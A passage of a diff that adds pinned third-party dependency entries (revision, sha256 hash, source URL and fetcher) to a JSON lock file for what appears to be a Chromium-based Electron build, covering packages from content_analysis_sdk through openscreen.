+                    "url": "https://chromium.googlesource.com/external/github.com/chromium/content_analysis_sdk.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/cpu_features/src": {
+                "args": {
+                    "hash": "sha256-E8LoVzhe+TAmARWZTSuINlsVhzpUJMxPPCGe/dHZcyA=",
+                    "rev": "936b9ab5515dead115606559502e3864958f7f6e",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/cpu_features.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/cpuinfo/src": {
+                "args": {
+                    "hash": "sha256-uochXC0AtOw8N/ycyVJdiRw4pibCW2ENrFMT3jtxDSg=",
+                    "rev": "39ea79a3c132f4e678695c579ea9353d2bd29968",
+                    "url": "https://chromium.googlesource.com/external/github.com/pytorch/cpuinfo.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/crabbyavif/src": {
+                "args": {
+                    "hash": "sha256-IxtMAqN3O/s1GrVKzcge9cQ+DVtJtFvHYvsfjmflwVQ=",
+                    "rev": "eb883022a5886739f07f0241f918e2be97d65ff0",
+                    "url": "https://chromium.googlesource.com/external/github.com/webmproject/CrabbyAvif.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/crc32c/src": {
+                "args": {
+                    "hash": "sha256-KBraGaO5LmmPP+p8RuDogGldbTWdNDK+WzF4Q09keuE=",
+                    "rev": "d3d60ac6e0f16780bcfcc825385e1d338801a558",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/crc32c.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/cros-components/src": {
+                "args": {
+                    "hash": "sha256-CT9c4LqTwhldsxoEny8MesULwQC4k95F4tfCtRZErGM=",
+                    "rev": "97dc8c7a1df880206cc54d9913a7e9d73677072a",
+                    "url": "https://chromium.googlesource.com/external/google3/cros_components.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/cros_system_api": {
+                "args": {
+                    "hash": "sha256-WlSxI1J+HjAD2UaQjW3oOQpZDnMn/ROpTLYTP4efTi4=",
+                    "rev": "fe88d943e5f328b34e38b91296db39650f6ec6f3",
+                    "url": "https://chromium.googlesource.com/chromiumos/platform2/system_api.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/crossbench": {
+                "args": {
+                    "hash": "sha256-YomhvLtDFkGWyivN81gRxtOh9U32Zt6+/obTwccJuRo=",
+                    "rev": "feff46a3cd49eb39667205cdfa2b490bcffc9ba1",
+                    "url": "https://chromium.googlesource.com/crossbench.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/dav1d/libdav1d": {
+                "args": {
+                    "hash": "sha256-+DY4p41VuAlx7NvOfXjWzgEhvtpebjkjbFwSYOzSjv4=",
+                    "rev": "8d956180934f16244bdb58b39175824775125e55",
+                    "url": "https://chromium.googlesource.com/external/github.com/videolan/dav1d.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/dawn": {
+                "args": {
+                    "hash": "sha256-N9DVbQE56WWBmJ/PJlYhU+pr8I+PFf/7FzMLCNqx3hg=",
+                    "rev": "86772f20cca54b46f62b65ece1ef61224aef09db",
+                    "url": "https://dawn.googlesource.com/dawn.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/dawn/third_party/dxc": {
+                "args": {
+                    "hash": "sha256-0LfNcR1FXy5GcL2yHHA6A7EJIWtZU1U/2xSq/eysUa0=",
+                    "rev": "d72e2b1a15d22fc825e2f3c939f1baac43281ae9",
+                    "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectXShaderCompiler"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/dawn/third_party/dxheaders": {
+                "args": {
+                    "hash": "sha256-0Miw1Cy/jmOo7bLFBOHuTRDV04cSeyvUEyPkpVsX9DA=",
+                    "rev": "980971e835876dc0cde415e8f9bc646e64667bf7",
+                    "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectX-Headers"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/dawn/third_party/glfw": {
+                "args": {
+                    "hash": "sha256-E1zXIDiw87badrLOZTvV+Wh9NZHu51nb70ZK9vlAlqE=",
+                    "rev": "b35641f4a3c62aa86a0b3c983d163bc0fe36026d",
+                    "url": "https://chromium.googlesource.com/external/github.com/glfw/glfw"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/dawn/third_party/khronos/EGL-Registry": {
+                "args": {
+                    "hash": "sha256-Z6DwLfgQ1wsJXz0KKJyVieOatnDmx3cs0qJ6IEgSq1A=",
+                    "rev": "7dea2ed79187cd13f76183c4b9100159b9e3e071",
+                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/EGL-Registry"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/dawn/third_party/khronos/OpenGL-Registry": {
+                "args": {
+                    "hash": "sha256-K3PcRIiD3AmnbiSm5TwaLs4Gu9hxaN8Y91WMKK8pOXE=",
+                    "rev": "5bae8738b23d06968e7c3a41308568120943ae77",
+                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/OpenGL-Registry"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/dawn/third_party/webgpu-cts": {
+                "args": {
+                    "hash": "sha256-eMDb0nG9HDiesd8KPajbMej8JTll4JkIf17KMnKvW1s=",
+                    "rev": "905c7cbfeaac1cf3feb4c6056dd6f3dbaa06b074",
+                    "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/dawn/third_party/webgpu-headers/src": {
+                "args": {
+                    "hash": "sha256-+Kf4yPBhM6y2kYTZud9vCavT/BBOzDBsph5+/bUuwkM=",
+                    "rev": "60cd9020309b87a30cd7240aad32accd24262a5e",
+                    "url": "https://chromium.googlesource.com/external/github.com/webgpu-native/webgpu-headers"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/depot_tools": {
+                "args": {
+                    "hash": "sha256-1avxBlK0WLHTru5wUecbiGpSEYv8Epobsl4EfCaWX9A=",
+                    "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
+                    "url": "https://chromium.googlesource.com/chromium/tools/depot_tools.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/devtools-frontend/src": {
+                "args": {
+                    "hash": "sha256-7ygnGBAeiLxwbTx5s7LRs9+ZOe06tr8VFcSY5cVHnS4=",
+                    "rev": "f8dfe8b36e516cef8a5a169e88d16480d8abdc68",
+                    "url": "https://chromium.googlesource.com/devtools/devtools-frontend"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/dom_distiller_js/dist": {
+                "args": {
+                    "hash": "sha256-yuEBD2XQlV3FGI/i7lTmJbCqzeBiuG1Qow8wvsppGJw=",
+                    "rev": "199de96b345ada7c6e7e6ba3d2fa7a6911b8767d",
+                    "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/domato/src": {
+                "args": {
+                    "hash": "sha256-fYxoA0fxKe9U23j+Jp0MWj4m7RfsRpM0XjF6/yOhX1I=",
+                    "rev": "053714bccbda79cf76dac3fee48ab2b27f21925e",
+                    "url": "https://chromium.googlesource.com/external/github.com/googleprojectzero/domato.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/dragonbox/src": {
+                "args": {
+                    "hash": "sha256-AOniXMPgwKpkJqivRd+GazEnhdw53FzhxKqG+GdU+cc=",
+                    "rev": "6c7c925b571d54486b9ffae8d9d18a822801cbda",
+                    "url": "https://chromium.googlesource.com/external/github.com/jk-jeon/dragonbox.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/eigen3/src": {
+                "args": {
+                    "hash": "sha256-dWWjpQ6M7udOQqUV6P9go3R3O4J2XYpvkngJjRDY4v8=",
+                    "rev": "ae3aba99db4c829b4cc4d9fdd54321dedd814dc4",
+                    "url": "https://chromium.googlesource.com/external/gitlab.com/libeigen/eigen.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/electron_node": {
+                "args": {
+                    "hash": "sha256-rp48HOQB13nZJUByXaL8MMkHNFp/V0qtbDZgoFBIcJY=",
+                    "owner": "nodejs",
+                    "repo": "node",
+                    "tag": "v22.16.0"
+                },
+                "fetcher": "fetchFromGitHub"
+            },
+            "src/third_party/emoji-segmenter/src": {
+                "args": {
+                    "hash": "sha256-KdQdKBBipEBRT8UmNGao6yCB4m2CU8/SrMVvcXlb5qE=",
+                    "rev": "955936be8b391e00835257059607d7c5b72ce744",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/emoji-segmenter.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/engflow-reclient-configs": {
+                "args": {
+                    "hash": "sha256-aZXYPj9KYBiZnljqOLlWJWS396Fg3EhjiQLZmkwCBsY=",
+                    "owner": "EngFlow",
+                    "repo": "reclient-configs",
+                    "rev": "955335c30a752e9ef7bff375baab5e0819b6c00d"
+                },
+                "fetcher": "fetchFromGitHub"
+            },
+            "src/third_party/expat/src": {
+                "args": {
+                    "hash": "sha256-qe8O7otL6YcDDBx2DS/+c5mWIS8Rf8RQXVtLFMIAeyk=",
+                    "rev": "69d6c054c1bd5258c2a13405a7f5628c72c177c2",
+                    "url": "https://chromium.googlesource.com/external/github.com/libexpat/libexpat.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/farmhash/src": {
+                "args": {
+                    "hash": "sha256-5n58VEUxa/K//jAfZqG4cXyfxrp50ogWDNYcgiXVHdc=",
+                    "rev": "816a4ae622e964763ca0862d9dbd19324a1eaf45",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/farmhash.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/fast_float/src": {
+                "args": {
+                    "hash": "sha256-CG5je117WYyemTe5PTqznDP0bvY5TeXn8Vu1Xh5yUzQ=",
+                    "rev": "cb1d42aaa1e14b09e1452cfdef373d051b8c02a4",
+                    "url": "https://chromium.googlesource.com/external/github.com/fastfloat/fast_float.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/ffmpeg": {
+                "args": {
+                    "hash": "sha256-noc3iZ1yCEgkwWyznx48rXC8JuKxla9QgC/CIjRL/y8=",
+                    "rev": "dcdd0fa51b65a0b1688ff6b8f0cc81908f09ded2",
+                    "url": "https://chromium.googlesource.com/chromium/third_party/ffmpeg.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/flac": {
+                "args": {
+                    "hash": "sha256-gvTFPNOlBfozptaH7lTb9iD/09AmpdT3kCl9ClszjEs=",
+                    "rev": "689da3a7ed50af7448c3f1961d1791c7c1d9c85c",
+                    "url": "https://chromium.googlesource.com/chromium/deps/flac.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/flatbuffers/src": {
+                "args": {
+                    "hash": "sha256-tbc45o0MbMvK5XqRUJt5Eg8BU6+TJqlmwFgQhHq6wRM=",
+                    "rev": "8db59321d9f02cdffa30126654059c7d02f70c32",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/flatbuffers.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/fontconfig/src": {
+                "args": {
+                    "hash": "sha256-Kz7KY+evfOciKFHIBLG1JxIRgHRTzuBLgxXHv3m/Y1Y=",
+                    "rev": "8cf0ce700a8abe0d97ace4bf7efc7f9534b729ba",
+                    "url": "https://chromium.googlesource.com/external/fontconfig.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/fp16/src": {
+                "args": {
+                    "hash": "sha256-m2d9bqZoGWzuUPGkd29MsrdscnJRtuIkLIMp3fMmtRY=",
+                    "rev": "0a92994d729ff76a58f692d3028ca1b64b145d91",
+                    "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FP16.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/freetype-testing/src": {
+                "args": {
+                    "hash": "sha256-cpzz5QDeAT3UgAZzwW7c0SgLDQsBwy/1Q+5hz2XW4lE=",
+                    "rev": "04fa94191645af39750f5eff0a66c49c5cb2c2cc",
+                    "url": "https://chromium.googlesource.com/external/github.com/freetype/freetype2-testing.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/freetype/src": {
+                "args": {
+                    "hash": "sha256-j5FPldhIOzsOsFBAMyNh44FTeOD8Gm3scoi3B3hhgKQ=",
+                    "rev": "738905b34bd1f5a8ff51bd2bc8e38a2d8be9bfd6",
+                    "url": "https://chromium.googlesource.com/chromium/src/third_party/freetype2.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/fuzztest/src": {
+                "args": {
+                    "hash": "sha256-MHli8sadgC3OMesBGhkjPM/yW49KFOtdFuBII1bcFas=",
+                    "rev": "f03aafb7516050ea73f617bf969f03eac641aefc",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/fuzztest.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/fxdiv/src": {
+                "args": {
+                    "hash": "sha256-LjX5kivfHbqCIA5pF9qUvswG1gjOFo3CMpX0VR+Cn38=",
+                    "rev": "63058eff77e11aa15bf531df5dd34395ec3017c8",
+                    "url": "https://chromium.googlesource.com/external/github.com/Maratyszcza/FXdiv.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/gemmlowp/src": {
+                "args": {
+                    "hash": "sha256-O5wD8wxgis0qYMaY+xZ21GBDVQFphMRvInCOswS6inA=",
+                    "rev": "13d57703abca3005d97b19df1f2db731607a7dc2",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/gemmlowp.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/glslang/src": {
+                "args": {
+                    "hash": "sha256-0PocroQj02mdpmFVXr6XB7mVVNzQOaBXm/2GNacZLF0=",
+                    "rev": "93231001597dad1149a5d035af30eda50b9e6b6c",
+                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/glslang"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/google_benchmark/src": {
+                "args": {
+                    "hash": "sha256-cH8s1gP6kCcojAAfTt5iQCVqiAaSooNk4BdaILujM3w=",
+                    "rev": "761305ec3b33abf30e08d50eb829e19a802581cc",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/benchmark.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/googletest/src": {
+                "args": {
+                    "hash": "sha256-md/jPkFrs/0p0BYGyquh57Zxh+1dKaK26PDtUN1+Ce0=",
+                    "rev": "09ffd0015395354774c059a17d9f5bee36177ff9",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/googletest.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/harfbuzz-ng/src": {
+                "args": {
+                    "hash": "sha256-lNnCtgIegUy4DLhYaGZXcEaFw83KWAHoKpz69AEsWp4=",
+                    "rev": "9f83bbbe64654b45ba5bb06927ff36c2e7588495",
+                    "url": "https://chromium.googlesource.com/external/github.com/harfbuzz/harfbuzz.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/highway/src": {
+                "args": {
+                    "hash": "sha256-IS7m1wBwpPBUNhx2GttY1fzvmLIeAp3o2gXfrFpRdvY=",
+                    "rev": "00fe003dac355b979f36157f9407c7c46448958e",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/highway.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/hunspell_dictionaries": {
+                "args": {
+                    "hash": "sha256-67mvpJRFFa9eMfyqFMURlbxOaTJBICnk+gl0b0mEHl8=",
+                    "rev": "41cdffd71c9948f63c7ad36e1fb0ff519aa7a37e",
+                    "url": "https://chromium.googlesource.com/chromium/deps/hunspell_dictionaries.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/icu": {
+                "args": {
+                    "hash": "sha256-/T7uyzwTCDaamLwSvutvbn6BJuoG1RqeR+xhXI5jmJw=",
+                    "rev": "b929596baebf0ab4ac7ec07f38365db4c50a559d",
+                    "url": "https://chromium.googlesource.com/chromium/deps/icu.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/ink/src": {
+                "args": {
+                    "hash": "sha256-MqJXwtUGL/IakwOO63JX4gx0gTocgQT3hbhw6OcYUbc=",
+                    "rev": "da9cb551ada1e55309b0ac89b9fbff2d29dbfe1e",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/ink.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/ink_stroke_modeler/src": {
+                "args": {
+                    "hash": "sha256-jnIljheEBq96e6zZO87bhVJbA1vIjiRzm1Hh6YMBdnU=",
+                    "rev": "03db1ed37b8b10b47d62ed0fa142d198a3861689",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/ink-stroke-modeler.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/instrumented_libs": {
+                "args": {
+                    "hash": "sha256-8kokdsnn5jD9KgM/6g0NuITBbKkGXWEM4BMr1nCrfdU=",
+                    "rev": "69015643b3f68dbd438c010439c59adc52cac808",
+                    "url": "https://chromium.googlesource.com/chromium/third_party/instrumented_libraries.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/jetstream/main": {
+                "args": {
+                    "hash": "sha256-mE6IoHpLV0LUWEeeiWycXtOhIbhkPvVdLvsPSyv4xPk=",
+                    "rev": "539ab943598b505832a25a2222aa8957f1a20d6f",
+                    "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/jetstream/v2.2": {
+                "args": {
+                    "hash": "sha256-zucA2tqNOsvjhwYQKZ5bFUC73ZF/Fu7KpBflSelvixw=",
+                    "rev": "2145cedef4ca2777b792cb0059d3400ee2a6153c",
+                    "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/jsoncpp/source": {
+                "args": {
+                    "hash": "sha256-bSLNcoYBz3QCt5VuTR056V9mU2PmBuYBa0W6hFg2m8Q=",
+                    "rev": "42e892d96e47b1f6e29844cc705e148ec4856448",
+                    "url": "https://chromium.googlesource.com/external/github.com/open-source-parsers/jsoncpp.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/leveldatabase/src": {
+                "args": {
+                    "hash": "sha256-ANtMVRZmW6iOjDVn2y15ak2fTagFTTaz1Se6flUHL8w=",
+                    "rev": "4ee78d7ea98330f7d7599c42576ca99e3c6ff9c5",
+                    "url": "https://chromium.googlesource.com/external/leveldb.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libFuzzer/src": {
+                "args": {
+                    "hash": "sha256-Lb+HczYax0T7qvC0/Nwhc5l2szQTUYDouWRMD/Qz7sA=",
+                    "rev": "e31b99917861f891308269c36a32363b120126bb",
+                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt/lib/fuzzer.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libaddressinput/src": {
+                "args": {
+                    "hash": "sha256-6h4/DQUBoBtuGfbaTL5Te1Z+24qjTaBuIydcTV18j80=",
+                    "rev": "2610f7b1043d6784ada41392fc9392d1ea09ea07",
+                    "url": "https://chromium.googlesource.com/external/libaddressinput.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libaom/source/libaom": {
+                "args": {
+                    "hash": "sha256-pyLKjLG83Jlx6I+0M8Ah94ku4NIFcrHNYswfVHMvdrc=",
+                    "rev": "2cca4aba034f99842c2e6cdc173f83801d289764",
+                    "url": "https://aomedia.googlesource.com/aom.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libc++/src": {
+                "args": {
+                    "hash": "sha256-36ulJk/YTfP5k1sDeA/WQyIO8xaplRKK4cQhfTZdpko=",
+                    "rev": "a01c02c9d4acbdae3b7e8a2f3ee58579a9c29f96",
+                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libc++abi/src": {
+                "args": {
+                    "hash": "sha256-DkCvfFjMztFTzKf081XyiefW6tMBSZ1AdzcPzXAVPnk=",
+                    "rev": "9810fb23f6ba666f017c2b67c67de2bcac2b44bd",
+                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxxabi.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libdrm/src": {
+                "args": {
+                    "hash": "sha256-woSYEDUfcEBpYOYnli13wLMt754A7KnUbmTEcFQdFGw=",
+                    "rev": "ad78bb591d02162d3b90890aa4d0a238b2a37cde",
+                    "url": "https://chromium.googlesource.com/chromiumos/third_party/libdrm.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libgav1/src": {
+                "args": {
+                    "hash": "sha256-BgTfWmbcMvJB1KewJpRcMtbOd2FVuJ+fi1zAXBXfkrg=",
+                    "rev": "c05bf9be660cf170d7c26bd06bb42b3322180e58",
+                    "url": "https://chromium.googlesource.com/codecs/libgav1.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libipp/libipp": {
+                "args": {
+                    "hash": "sha256-gxU92lHLd6uxO8T3QWhZIK0hGy97cki705DV0VimCPY=",
+                    "rev": "2209bb84a8e122dab7c02fe66cc61a7b42873d7f",
+                    "url": "https://chromium.googlesource.com/chromiumos/platform2/libipp.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libjpeg_turbo": {
+                "args": {
+                    "hash": "sha256-Ig+tmprZDvlf/M72/DTar2pbxat9ZElgSqdXdoM0lPs=",
+                    "rev": "e14cbfaa85529d47f9f55b0f104a579c1061f9ad",
+                    "url": "https://chromium.googlesource.com/chromium/deps/libjpeg_turbo.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/liblouis/src": {
+                "args": {
+                    "hash": "sha256-EI/uaHXe0NlqdEw764q0SjerThYEVLRogUlmrsZwXnY=",
+                    "rev": "9700847afb92cb35969bdfcbbfbbb74b9c7b3376",
+                    "url": "https://chromium.googlesource.com/external/liblouis-github.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libphonenumber/dist": {
+                "args": {
+                    "hash": "sha256-ZbuDrZEUVp/ekjUP8WO/FsjAomRjeDBptT4nQZvTVi4=",
+                    "rev": "9d46308f313f2bf8dbce1dfd4f364633ca869ca7",
+                    "url": "https://chromium.googlesource.com/external/libphonenumber.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libprotobuf-mutator/src": {
+                "args": {
+                    "hash": "sha256-EaEC6R7SzqLw4QjEcWXFXhZc84lNBp6RSa9izjGnWKE=",
+                    "rev": "7bf98f78a30b067e22420ff699348f084f802e12",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/libprotobuf-mutator.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libsrtp": {
+                "args": {
+                    "hash": "sha256-bkG1+ss+1a2rCHGwZjhvf5UaNVbPPZJt9HZSIPBKGwM=",
+                    "rev": "a52756acb1c5e133089c798736dd171567df11f5",
+                    "url": "https://chromium.googlesource.com/chromium/deps/libsrtp.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libsync/src": {
+                "args": {
+                    "hash": "sha256-Mkl6C1LxF3RYLwYbxiSfoQPt8QKFwQWj/Ati2sNJ32E=",
+                    "rev": "f4f4387b6bf2387efbcfd1453af4892e8982faf6",
+                    "url": "https://chromium.googlesource.com/aosp/platform/system/core/libsync.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libunwind/src": {
+                "args": {
+                    "hash": "sha256-O1S3ijnoVrTHmZDGmgQQe0MVGsSZL7usXAPflGFmMXY=",
+                    "rev": "8575f4ae4fcf8892938bd9766cf1a5c90a0ed04e",
+                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libunwind.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libva-fake-driver/src": {
+                "args": {
+                    "hash": "sha256-em/8rNqwv6szlxyji7mnYr3nObSW/x3OzEEnkiLuqpI=",
+                    "rev": "a9bcab9cd6b15d4e3634ca44d5e5f7652c612194",
+                    "url": "https://chromium.googlesource.com/chromiumos/platform/libva-fake-driver.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libvpx/source/libvpx": {
+                "args": {
+                    "hash": "sha256-SFdYF8vnwNHQbZ1N/ZHr4kxfi9o+BAtuqbak80m9uP4=",
+                    "rev": "b84ca9b63730e7d4563573a56a66317eb0087ebf",
+                    "url": "https://chromium.googlesource.com/webm/libvpx.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libwebm/source": {
+                "args": {
+                    "hash": "sha256-tfji0yPV7v/DETViEp2T7AO6P5xCjPYScTlV3eWFV0w=",
+                    "rev": "c4522d6cd68582d66f1adfd24debfa9bee202afa",
+                    "url": "https://chromium.googlesource.com/webm/libwebm.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libwebp/src": {
+                "args": {
+                    "hash": "sha256-0sKGhXr6Rrpq0eoitAdLQ4l4fgNOzMWIEICrPyzwNz4=",
+                    "rev": "2af6c034ac871c967e04c8c9f8bf2dbc2e271b18",
+                    "url": "https://chromium.googlesource.com/webm/libwebp.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/libyuv": {
+                "args": {
+                    "hash": "sha256-J9Wi3aCc6OjtQCP8JnrY7PYrY587dKLaa1KGAMWmE0c=",
+                    "rev": "61bdaee13a701d2b52c6dc943ccc5c888077a591",
+                    "url": "https://chromium.googlesource.com/libyuv/libyuv.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/llvm-libc/src": {
+                "args": {
+                    "hash": "sha256-BsoHIvdqgYzBUkd23++enEHIhq5GeVWrWdVdhXrHh9A=",
+                    "rev": "9c3ae3120fe83b998d0498dcc9ad3a56c29fad0c",
+                    "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libc.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/lss": {
+                "args": {
+                    "hash": "sha256-rhp4EcZYdgSfu9cqn+zxxGx6v2IW8uX8V+iA0UfZhFY=",
+                    "rev": "ed31caa60f20a4f6569883b2d752ef7522de51e0",
+                    "url": "https://chromium.googlesource.com/linux-syscall-support.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/material_color_utilities/src": {
+                "args": {
+                    "hash": "sha256-Y85XU+z9W6tvmDNHJ/dXQnUKXvvDkO3nH/kUJRLqbc4=",
+                    "rev": "13434b50dcb64a482cc91191f8cf6151d90f5465",
+                    "url": "https://chromium.googlesource.com/external/github.com/material-foundation/material-color-utilities.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/minigbm/src": {
+                "args": {
+                    "hash": "sha256-9HwvjTETerbQ7YKXH9kUB2eWa8PxGWMAJfx1jAluhrs=",
+                    "rev": "3018207f4d89395cc271278fb9a6558b660885f5",
+                    "url": "https://chromium.googlesource.com/chromiumos/platform/minigbm.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/nan": {
+                "args": {
+                    "hash": "sha256-cwti+BWmF/l/dqa/cN0C587EK4WwRWcWy6gjFVkaMTg=",
+                    "owner": "nodejs",
+                    "repo": "nan",
+                    "rev": "e14bdcd1f72d62bca1d541b66da43130384ec213"
+                },
+                "fetcher": "fetchFromGitHub"
+            },
+            "src/third_party/nasm": {
+                "args": {
+                    "hash": "sha256-neYrS4kQ76ihUh22Q3uPR67Ld8+yerA922YSZU1KxJs=",
+                    "rev": "9f916e90e6fc34ec302573f6ce147e43e33d68ca",
+                    "url": "https://chromium.googlesource.com/chromium/deps/nasm.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/nearby/src": {
+                "args": {
+                    "hash": "sha256-qFLs3gMV0v6c0gjyn29D6pRxSAKumpzAWVgHabPFWRw=",
+                    "rev": "959322177f40f2e0f1ecacd8a1aea2805e67b62b",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/nearby-connections.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/neon_2_sse/src": {
+                "args": {
+                    "hash": "sha256-AkDAHOPO5NdXXk0hETS5D67mzw0RVXwPDDKqM0XXo5g=",
+                    "rev": "eb8b80b28f956275e291ea04a7beb5ed8289e872",
+                    "url": "https://chromium.googlesource.com/external/github.com/intel/ARM_NEON_2_x86_SSE.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/openh264/src": {
+                "args": {
+                    "hash": "sha256-tf0lnxATCkoq+xRti6gK6J47HwioAYWnpEsLGSA5Xdg=",
+                    "rev": "652bdb7719f30b52b08e506645a7322ff1b2cc6f",
+                    "url": "https://chromium.googlesource.com/external/github.com/cisco/openh264"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/openscreen/src": {
+                "args": {
